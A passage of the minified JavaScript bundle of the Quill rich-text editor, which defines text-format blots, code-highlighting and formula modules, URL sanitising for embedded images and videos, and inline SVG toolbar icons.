r=I(n(29)),o=n(36),i=n(38),a=n(64),l=I(n(65)),s=I(n(66)),u=n(67),c=I(u),f=n(37),d=n(26),p=n(39),h=n(40),m=I(n(56)),g=I(n(68)),v=I(n(27)),y=I(n(69)),b=I(n(70)),w=I(n(71)),E=I(n(72)),S=I(n(73)),C=n(13),x=I(C),O=I(n(74)),A=I(n(75)),_=I(n(57)),T=I(n(41)),k=I(n(28)),P=I(n(59)),M=I(n(60)),R=I(n(61)),j=I(n(108)),L=I(n(62));function I(e){return e&&e.__esModule?e:{default:e}}r.default.register({"attributors/attribute/direction":i.DirectionAttribute,"attributors/class/align":o.AlignClass,"attributors/class/background":f.BackgroundClass,"attributors/class/color":d.ColorClass,"attributors/class/direction":i.DirectionClass,"attributors/class/font":p.FontClass,"attributors/class/size":h.SizeClass,"attributors/style/align":o.AlignStyle,"attributors/style/background":f.BackgroundStyle,"attributors/style/color":d.ColorStyle,"attributors/style/direction":i.DirectionStyle,"attributors/style/font":p.FontStyle,"attributors/style/size":h.SizeStyle},!0),r.default.register({"formats/align":o.AlignClass,"formats/direction":i.DirectionClass,"formats/indent":a.IndentClass,"formats/background":f.BackgroundStyle,"formats/color":d.ColorStyle,"formats/font":p.FontClass,"formats/size":h.SizeClass,"formats/blockquote":l.default,"formats/code-block":x.default,"formats/header":s.default,"formats/list":c.default,"formats/bold":m.default,"formats/code":C.Code,"formats/italic":g.default,"formats/link":v.default,"formats/script":y.default,"formats/strike":b.default,"formats/underline":w.default,"formats/image":E.default,"formats/video":S.default,"formats/list/item":u.ListItem,"modules/formula":O.default,"modules/syntax":A.default,"modules/toolbar":_.default,"themes/bubble":j.default,"themes/snow":L.default,"ui/icons":T.default,"ui/picker":k.default,"ui/icon-picker":M.default,"ui/color-picker":P.default,"ui/tooltip":R.default},!0),t.default=r.default},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.IndentClass=void 0;var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(0),l=(r=a)&&r.__esModule?r:{default:r};function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var c=new(function(e){function t(){return s(this,t),u(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"add",value:function(e,n){if("+1"===n||"-1"===n){var r=this.value(e)||0;n="+1"===n?r+1:r-1}return 0===n?(this.remove(e),!0):i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"add",this).call(this,e,n)}},{key:"canAdd",value:function(e,n){return i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"canAdd",this).call(this,e,n)||i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"canAdd",this).call(this,e,parseInt(n))}},{key:"value",value:function(e){return parseInt(i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"value",this).call(this,e))||void 0}}]),t}(l.default.Attributor.Class))("indent","ql-indent",{scope:l.default.Scope.BLOCK,whitelist:[1,2,3,4,5,6,7,8]});t.IndentClass=c},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=n(4);function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l=function(e){function t(){return i(this,t),a(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(((r=o)&&r.__esModule?r:{default:r}).default);l.blotName="blockquote",l.tagName="blockquote",t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(4);function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var s=function(e){function t(){return a(this,t),l(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,null,[{key:"formats",value:function(e){return this.tagName.indexOf(e.tagName)+1}}]),t}(((r=i)&&r.__esModule?r:{default:r}).default);s.blotName="header",s.tagName=["H1","H2","H3","H4","H5","H6"],t.default=s},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.ListItem=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=s(n(0)),a=s(n(4)),l=s(n(25));function s(e){return e&&e.__esModule?e:{default:e}}function u(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function f(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var d=function(e){function t(){return u(this,t),c(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return f(t,e),r(t,[{key:"format",value:function(e,n){e!==p.blotName||n?o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n):this.replaceWith(i.default.create(this.statics.scope))}},{key:"remove",value:function(){null==this.prev&&null==this.next?this.parent.remove():o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"remove",this).call(this)}},{key:"replaceWith",value:function(e,n){return this.parent.isolate(this.offset(this.parent),this.length()),e===this.parent.statics.blotName?(this.parent.replaceWith(e,n),this):(this.parent.unwrap(),o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"replaceWith",this).call(this,e,n))}}],[{key:"formats",value:function(e){return e.tagName===this.tagName?void 0:o(t.__proto__||Object.getPrototypeOf(t),"formats",this).call(this,e)}}]),t}(a.default);d.blotName="list-item",d.tagName="LI";var p=function(e){function t(e){u(this,t);var n=c(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e)),r=function(t){if(t.target.parentNode===e){var r=n.statics.formats(e),o=i.default.find(t.target);"checked"===r?o.format("list","unchecked"):"unchecked"===r&&o.format("list","checked")}};return e.addEventListener("touchstart",r),e.addEventListener("mousedown",r),n}return f(t,e),r(t,null,[{key:"create",value:function(e){var n="ordered"===e?"OL":"UL",r=o(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,n);return"checked"!==e&&"unchecked"!==e||r.setAttribute("data-checked","checked"===e),r}},{key:"formats",value:function(e){return"OL"===e.tagName?"ordered":"UL"===e.tagName?e.hasAttribute("data-checked")?"true"===e.getAttribute("data-checked")?"checked":"unchecked":"bullet":void 0}}]),r(t,[{key:"format",value:function(e,t){this.children.length>0&&this.children.tail.format(e,t)}},{key:"formats",value:function(){return e={},t=this.statics.blotName,n=this.statics.formats(this.domNode),t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e;var e,t,n}},{key:"insertBefore",value:function(e,n){if(e instanceof d)o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertBefore",this).call(this,e,n);else{var r=null==n?this.length():n.offset(this),i=this.split(r);i.parent.insertBefore(e,i)}}},{key:"optimize",value:function(e){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e);var n=this.next;null!=n&&n.prev===this&&n.statics.blotName===this.statics.blotName&&n.domNode.tagName===this.domNode.tagName&&n.domNode.getAttribute("data-checked")===this.domNode.getAttribute("data-checked")&&(n.moveChildren(this),n.remove())}},{key:"replace",value:function(e){if(e.statics.blotName!==this.statics.blotName){var n=i.default.create(this.statics.defaultChild);e.moveChildren(n),this.appendChild(n)}o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"replace",this).call(this,e)}}]),t}(l.default);p.blotName="list",p.scope=i.default.Scope.BLOCK_BLOT,p.tagName=["OL","UL"],p.defaultChild="list-item",p.allowedChildren=[d],t.ListItem=d,t.default=p},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=n(56);function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l=function(e){function t(){return i(this,t),a(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(((r=o)&&r.__esModule?r:{default:r}).default);l.blotName="italic",l.tagName=["EM","I"],t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=n(6);function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function l(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var s=function(e){function t(){return a(this,t),l(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,null,[{key:"create",value:function(e){return"super"===e?document.createElement("sup"):"sub"===e?document.createElement("sub"):function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e)}},{key:"formats",value:function(e){return"SUB"===e.tagName?"sub":"SUP"===e.tagName?"super":void 0}}]),t}(((r=i)&&r.__esModule?r:{default:r}).default);s.blotName="script",s.tagName=["SUB","SUP"],t.default=s},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=n(6);function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l=function(e){function t(){return i(this,t),a(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(((r=o)&&r.__esModule?r:{default:r}).default);l.blotName="strike",l.tagName="S",t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=n(6);function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function a(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var l=function(e){function t(){return i(this,t),a(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t}(((r=o)&&r.__esModule?r:{default:r}).default);l.blotName="underline",l.tagName="U",t.default=l},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(0),l=(r=a)&&r.__esModule?r:{default:r},s=n(27);function u(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var f=["alt","height","width"],d=function(e){function t(){return u(this,t),c(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"format",value:function(e,n){f.indexOf(e)>-1?n?this.domNode.setAttribute(e,n):this.domNode.removeAttribute(e):i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n)}}],[{key:"create",value:function(e){var n=i(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e);return"string"==typeof e&&n.setAttribute("src",this.sanitize(e)),n}},{key:"formats",value:function(e){return f.reduce((function(t,n){return e.hasAttribute(n)&&(t[n]=e.getAttribute(n)),t}),{})}},{key:"match",value:function(e){return/\.(jpe?g|gif|png)$/.test(e)||/^data:image\/.+;base64/.test(e)}},{key:"sanitize",value:function(e){return(0,s.sanitize)(e,["http","https","data"])?e:"//:0"}},{key:"value",value:function(e){return e.getAttribute("src")}}]),t}(l.default.Embed);d.blotName="image",d.tagName="IMG",t.default=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r,o=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),i=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},a=n(4),l=n(27),s=(r=l)&&r.__esModule?r:{default:r};function u(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function c(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var f=["height","width"],d=function(e){function t(){return u(this,t),c(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"format",value:function(e,n){f.indexOf(e)>-1?n?this.domNode.setAttribute(e,n):this.domNode.removeAttribute(e):i(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"format",this).call(this,e,n)}}],[{key:"create",value:function(e){var n=i(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e);return n.setAttribute("frameborder","0"),n.setAttribute("allowfullscreen",!0),n.setAttribute("src",this.sanitize(e)),n}},{key:"formats",value:function(e){return f.reduce((function(t,n){return e.hasAttribute(n)&&(t[n]=e.getAttribute(n)),t}),{})}},{key:"sanitize",value:function(e){return s.default.sanitize(e)}},{key:"value",value:function(e){return e.getAttribute("src")}}]),t}(a.BlockEmbed);d.blotName="video",d.className="ql-video",d.tagName="IFRAME",t.default=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.FormulaBlot=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=l(n(35)),i=l(n(5)),a=l(n(9));function l(e){return e&&e.__esModule?e:{default:e}}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function c(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var f=function(e){function t(){return s(this,t),u(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return c(t,e),r(t,null,[{key:"create",value:function(e){var n=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.__proto__||Object.getPrototypeOf(t),"create",this).call(this,e);return"string"==typeof e&&(window.katex.render(e,n,{throwOnError:!1,errorColor:"#f00"}),n.setAttribute("data-value",e)),n}},{key:"value",value:function(e){return e.getAttribute("data-value")}}]),t}(o.default);f.blotName="formula",f.className="ql-formula",f.tagName="SPAN";var d=function(e){function t(){s(this,t);var e=u(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));if(null==window.katex)throw new Error("Formula module requires KaTeX.");return e}return c(t,e),r(t,null,[{key:"register",value:function(){i.default.register(f,!0)}}]),t}(a.default);t.FormulaBlot=f,t.default=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.CodeToken=t.CodeBlock=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=l(n(0)),i=l(n(5)),a=l(n(9));function l(e){return e&&e.__esModule?e:{default:e}}function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function c(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var f=function(e){function t(){return s(this,t),u(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return c(t,e),r(t,[{key:"replaceWith",value:function(e){this.domNode.textContent=this.domNode.textContent,this.attach(),function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0}(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"replaceWith",this).call(this,e)}},{key:"highlight",value:function(e){var t=this.domNode.textContent;this.cachedText!==t&&((t.trim().length>0||null==this.cachedText)&&(this.domNode.innerHTML=e(t),this.domNode.normalize(),this.attach()),this.cachedText=t)}}]),t}(l(n(13)).default);f.className="ql-syntax";var d=new o.default.Attributor.Class("token","hljs",{scope:o.default.Scope.INLINE}),p=function(e){function t(e,n){s(this,t);var r=u(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n));if("function"!=typeof r.options.highlight)throw new Error("Syntax module requires highlight.js. Please include the library on the page before Quill.");var o=null;return r.quill.on(i.default.events.SCROLL_OPTIMIZE,(function(){clearTimeout(o),o=setTimeout((function(){r.highlight(),o=null}),r.options.interval)})),r.highlight(),r}return c(t,e),r(t,null,[{key:"register",value:function(){i.default.register(d,!0),i.default.register(f,!0)}}]),r(t,[{key:"highlight",value:function(){var e=this;if(!this.quill.selection.composing){this.quill.update(i.default.sources.USER);var t=this.quill.getSelection();this.quill.scroll.descendants(f).forEach((function(t){t.highlight(e.options.highlight)})),this.quill.update(i.default.sources.SILENT),null!=t&&this.quill.setSelection(t,i.default.sources.SILENT)}}}]),t}(a.default);p.DEFAULTS={highlight:null==window.hljs?null:function(e){return window.hljs.highlightAuto(e).value},interval:1e3},t.CodeBlock=f,t.CodeToken=d,t.default=p},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=3 x2=15 y1=9 y2=9></line> <line class=ql-stroke x1=3 x2=13 y1=14 y2=14></line> <line class=ql-stroke x1=3 x2=9 y1=4 y2=4></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=14 x2=4 y1=14 y2=14></line> <line class=ql-stroke x1=12 x2=6 y1=4 y2=4></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=15 x2=5 y1=14 y2=14></line> <line class=ql-stroke x1=15 x2=9 y1=4 y2=4></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class=ql-stroke x1=15 x2=3 y1=9 y2=9></line> <line class=ql-stroke x1=15 x2=3 y1=14 y2=14></line> <line class=ql-stroke x1=15 x2=3 y1=4 y2=4></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <g class="ql-fill ql-color-label"> <polygon points="6 6.868 6 6 5 6 5 7 5.942 7 6 6.868"></polygon> <rect height=1 width=1 x=4 y=4></rect> <polygon points="6.817 5 6 5 6 6 6.38 6 6.817 5"></polygon> <rect height=1 width=1 x=2 y=6></rect> <rect height=1 width=1 x=3 y=5></rect> <rect height=1 width=1 x=4 y=7></rect> <polygon points="4 11.439 4 11 3 11 3 12 3.755 12 4 11.439"></polygon> <rect height=1 width=1 x=2 y=12></rect> <rect height=1 width=1 x=2 y=9></rect> <rect height=1 width=1 x=2 y=15></rect> <polygon points="4.63 10 4 10 4 11 4.192 11 4.63 10"></polygon> <rect height=1 width=1 x=3 y=8></rect> <path d=M10.832,4.2L11,4.582V4H10.708A1.948,1.948,0,0,1,10.832,4.2Z></path> <path d=M7,4.582L7.168,4.2A1.929,1.929,0,0,1,7.292,4H7V4.582Z></path> <path d=M8,13H7.683l-0.351.8a1.933,1.933,0,0,1-.124.2H8V13Z></path> <rect height=1 width=1 x=12 y=2></rect> <rect height=1 width=1 x=11 y=3></rect> <path d=M9,3H8V3.282A1.985,1.985,0,0,1,9,3Z></path> <rect height=1 width=1 x=2 y=3></rect> <rect height=1 width=1 x=6 y=2></rect> <rect height=1 width=1 x=3 y=2></rect> <rect height=1 width=1 x=5 y=3></rect> <rect height=1 width=1 x=9 y=2></rect> <rect height=1 width=1 x=15 y=14></rect> <polygon points="13.447 10.174 13.469 10.225 13.472 10.232 13.808 11 14 11 14 10 13.37 10 13.447 10.174"></polygon> <rect height=1 width=1 x=13 y=7></rect> <rect height=1 width=1 x=15 y=5></rect> <rect height=1 width=1 x=14 y=6></rect> <rect height=1 width=1 x=15 y=8></rect> <rect height=1 width=1 x=14 y=9></rect> <path d=M3.775,14H3v1H4V14.314A1.97,1.97,0,0,1,3.775,14Z></path> <rect height=1 width=1 x=14 y=3></rect> <polygon points="12 6.868 12 6 11.62 6 12 6.868"></polygon> <rect height=1 width=1 x=15 y=2></rect> <rect height=1 width=1 x=12 y=5></rect> <rect height=1 width=1 x=13 y=4></rect> <polygon points="12.933 9 13 9 13 8 12.495 8 12.933 9"></polygon> <rect height=1 width=1 x=9 y=14></rect> <rect height=1 width=1 x=8 y=15></rect> <path d=M6,14.926V15H7V14.316A1.993,1.993,0,0,1,6,14.926Z></path> <rect height=1 width=1 x=5 y=15></rect> <path d=M10.668,13.8L10.317,13H10v1h0.792A1.947,1.947,0,0,1,10.668,13.8Z></path> <rect height=1 width=1 x=11 y=15></rect> <path d=M14.332,12.2a1.99,1.99,0,0,1,.166.8H15V12H14.245Z></path> <rect height=1 width=1 x=14 y=15></rect> <rect height=1 width=1 x=15 y=11></rect> </g> <polyline class=ql-stroke points="5.5 13 9 5 12.5 13"></polyline> <line class=ql-stroke x1=11.63 x2=6.38 y1=11 y2=11></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <rect class="ql-fill ql-stroke" height=3 width=3 x=4 y=5></rect> <rect class="ql-fill ql-stroke" height=3 width=3 x=11 y=5></rect> <path class="ql-even ql-fill ql-stroke" d=M7,8c0,4.031-3,5-3,5></path> <path class="ql-even ql-fill ql-stroke" d=M14,8c0,4.031-3,5-3,5></path> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <path class=ql-stroke d=M5,4H9.5A2.5,2.5,0,0,1,12,6.5v0A2.5,2.5,0,0,1,9.5,9H5A0,0,0,0,1,5,9V4A0,0,0,0,1,5,4Z></path> <path class=ql-stroke d=M5,9h5.5A2.5,2.5,0,0,1,13,11.5v0A2.5,2.5,0,0,1,10.5,14H5a0,0,0,0,1,0,0V9A0,0,0,0,1,5,9Z></path> </svg>'},function(e,t){e.exports='<svg class="" viewbox="0 0 18 18"> <line class=ql-stroke x1=5 x2=13 y1=3 y2=3></line> <line class=ql-stroke x1=6 x2=9.35 y1=12 y2=3></line> <line class=ql-stroke x1=11 x2=15 y1=11 y2=15></line> <line class=ql-stroke x1=15 x2=11 y1=11 y2=15></line> <rect class=ql-fill height=1 rx=0.5 ry=0.5 width=7 x=2 y=14></rect> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <line class="ql-color-label ql-stroke ql-transparent" x1=3 x2=15 y1=15 y2=15></line> <polyline class=ql-stroke points="5.5 11 9 3 12.5 11"></polyline> <line class=ql-stroke x1=11.63 x2=6.38 y1=9 y2=9></line> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <polygon class="ql-stroke ql-fill" points="3 11 5 9 3 7 3 11"></polygon> <line class="ql-stroke ql-fill" x1=15 x2=11 y1=4 y2=4></line> <path class=ql-fill d=M11,3a3,3,0,0,0,0,6h1V3H11Z></path> <rect class=ql-fill height=11 width=1 x=11 y=4></rect> <rect class=ql-fill height=11 width=1 x=13 y=4></rect> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 18"> <polygon class="ql-stroke ql-fill" points="15 12 13 10 15 8 15 12"></polygon> <line class="ql-stroke ql-fill" x1=9 x2=5 y1=4 y2=4></line> <path class=ql-fill d=M5,3A3,3,0,0,0,5,9H6V3H5Z></path> <rect class=ql-fill height=11 width=1 x=5 y=4></rect> <rect class=ql-fill height=11 width=1 x=7 y=4></rect> </svg>'},function(e,t){e.exports='<svg viewbox="0 0 18 